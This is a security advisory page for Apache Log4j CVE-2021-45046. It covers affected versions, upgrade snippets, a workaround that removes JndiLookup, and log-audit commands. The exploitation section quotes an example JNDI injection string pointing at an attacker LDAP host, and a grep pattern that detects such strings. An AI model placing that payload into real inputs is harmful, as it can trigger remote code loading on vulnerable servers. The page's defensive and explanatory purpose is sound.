CVE DatabaseCVE-2021-45046
한국어 권고문 →
CVE-2021-450469.0/CRITICALCISA KEVCWE-917CWE-917

Apache Log4j 2 Remote Code Execution and Information Disclosure Vulnerability (CVE-2021-45046) Security Advisory

⚡ Jump to Patch
Affected Vendors
apache
Affected Components
log4j
Published Date
2021-12-14
CVSS v3.1
9.0
CRITICAL
EPSS (30d)
100.0%
FIRST.org
CISA KEV
Exploited

Executive & SecOps Summary

SECOPS ASSESSMENT
Affected Scope

Apache Log4j versions 2.0-beta9 to 2.15.0 (including 2.15.0 for Java 8 and 2.12.1 or below for Java 7)

Impact

Attackers can exploit JNDI Lookup patterns via Thread Context Map (MDC) inputs in non-default configurations to achieve remote code execution (RCE) or information leakage

Mitigation

Immediately upgrade Apache Log4j to version 2.16.0 (for Java 8+) or 2.12.2 (for Java 7+), which disables JNDI by default and removes message lookup support

Affected Products & Version Scope

Apache Log4j versions 2.0-beta9 through 2.15.0 (excluding patched versions 2.12.2 and 2.16.0+)

Remediation & Live Workaround Commands

PATCH & WORKAROUND

1. Official Patch & Version Upgrade Commands

The recommended remediation is to upgrade to Log4j 2.16.0 (for Java 8) or 2.12.2 (for Java 7), where message lookup patterns are removed and JNDI functionality is disabled by default.

For Maven (pom.xml):

xml
<dependencies>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.16.0</version>
  </dependency>
  <dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.16.0</version>
  </dependency>
</dependencies>

For Gradle (build.gradle):

groovy
ext['log4j2.version'] = '2.16.0'
dependencies {
    implementation 'org.apache.logging.log4j:log4j-core:2.16.0'
    implementation 'org.apache.logging.log4j:log4j-api:2.16.0'
}

2. Temporary Workaround & Hardening Configuration

If upgrading immediately is not feasible, you must physically remove the JndiLookup class from the classpath to mitigate the vulnerability.

bash
# Remove the JndiLookup class from the log4j-core JAR file
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

3. Log Audit & IoC Verification Commands

Use the following commands to scan for vulnerable Log4j binaries and search application logs for potential exploitation attempts.

bash
# 1. Scan the filesystem for vulnerable log4j-core JAR files
find / -name 'log4j-core-*.jar' 2>/dev/null

# 2. Search application logs for JNDI injection patterns
egrep -I -i -r '\$\{jndi:(ldap|rmi|ldaps|dns|http|iiop|nis|nds):' /var/log/
Interactive SecOps Remediation Checklist
0/4 (0%)
Recommended Security Control & Mitigation Partner
Snyk Open Source & Container Security
Log4j 2.15.0 is proven to be insecure under non-default configurations; immediately upgrade to 2.16.0 (Java 8) or 2.12.2 (Java 7) to ensure complete protection.

Scan Your Repositories for Transitive Vulnerable Dependencies in 30 Seconds

Automatically detect vulnerable packages across npm, PyPI, Maven, and Go, and open automated fix Pull Requests without breaking your build.

Free Forever Tier · 1-Click GitHub/GitLab Auto-PR
Master DevSecOps: Automated SAST/SCA in GitHub Actions & Kubernetes
View Course Curriculum

Technical Root Cause & Exploitation Mechanics

1. Vulnerability Overview & Root Cause

This vulnerability arises because the initial fix for CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete under certain non-default configurations. Log4j 2.15.0 attempted to restrict JNDI connections to localhost by default, but this restriction could be bypassed. Specifically, when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (e.g., $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC), an attacker who controls the Thread Context Map (MDC) input data can craft malicious payloads using JNDI Lookup patterns (CWE-917).

2. Exploitation Mechanics & Attack Scenario

An attacker injects a malicious JNDI lookup string (such as ${jndi:ldap://attacker.com/a}) into an input field (like HTTP headers or form inputs) that the application subsequently writes to the Mapped Diagnostic Context (MDC). When the application logs this data, the Pattern Layout parser evaluates the MDC value and triggers a JNDI lookup to the attacker-controlled LDAP/RMI directory service. This bypasses the 2.15.0 restrictions, allowing the application to fetch and execute arbitrary serialized Java objects or reference addresses, leading to remote code execution (RCE) in some environments and local code execution/information disclosure in all environments.

3. Infrastructure & Business Impact

This vulnerability is listed in the CISA KEV (Known Exploited Vulnerabilities) catalog and carries an EPSS score of 0.9998, indicating extremely high active exploitation in the wild. Successful exploitation allows unauthenticated remote attackers to gain full system-level privileges on the server running the vulnerable application. This can lead to complete infrastructure compromise, lateral movement, sensitive data exfiltration, ransomware deployment, and severe business disruption.

Official Vendor Advisories & References

NVD Original English Description

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

Frequently Asked SecOps Questions (CVE-2021-45046)

FAQ

Q1. How critical is CVE-2021-45046 and is it actively exploited in the wild?

CVE-2021-45046 is rated CVSS 9.0 (CRITICAL) with a 30-day EPSS exploitation probability of 100.0%. It is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring immediate emergency remediation.

Q2. Which vendors and products are affected by CVE-2021-45046?

Primary impacted vendors include apache across log4j. Scope summary: Apache Log4j versions 2.0-beta9 through 2.15.0 (excluding patched versions 2.12.2 and 2.16.0+)

Q3. What temporary mitigations or workarounds exist for CVE-2021-45046 before patching?

[Mitigation] Immediately upgrade Apache Log4j to version 2.16.0 (for Java 8+) or 2.12.2 (for Java 7+), which disables JNDI by default and removes message lookup support Follow the CLI remediation commands and interactive SecOps checklist on this page to restrict exposure prior to your maintenance window.

SECOPS WORKBENCH INTEGRATION

Generate an Internal Engineering Notice or CISO Report for CVE-2021-45046

Instantly format this advisory into an executive CISO summary or engineering patch ticket.

Generate Report →

🔗 Related Advisories in Similar Stack (apache)

View Category →
SecOps Advisory Dispatch & RSS Feed

Subscribe to Daily Vulnerability Briefings & KEV Alerts

Concise morning briefings for SecOps, DevSecOps, and SRE teams covering newly exploited CVEs and mitigation priorities.

Slack / Teams / RSS Feed:
PatchKO
CVE-2021-45046 Apache Log4j 2 Remote Code Execution and Information Disclosure Vulnerability (CVE-2021-45046) Security Advisory (CVSS 9.0) - Patch & Workaround | CVE Pulse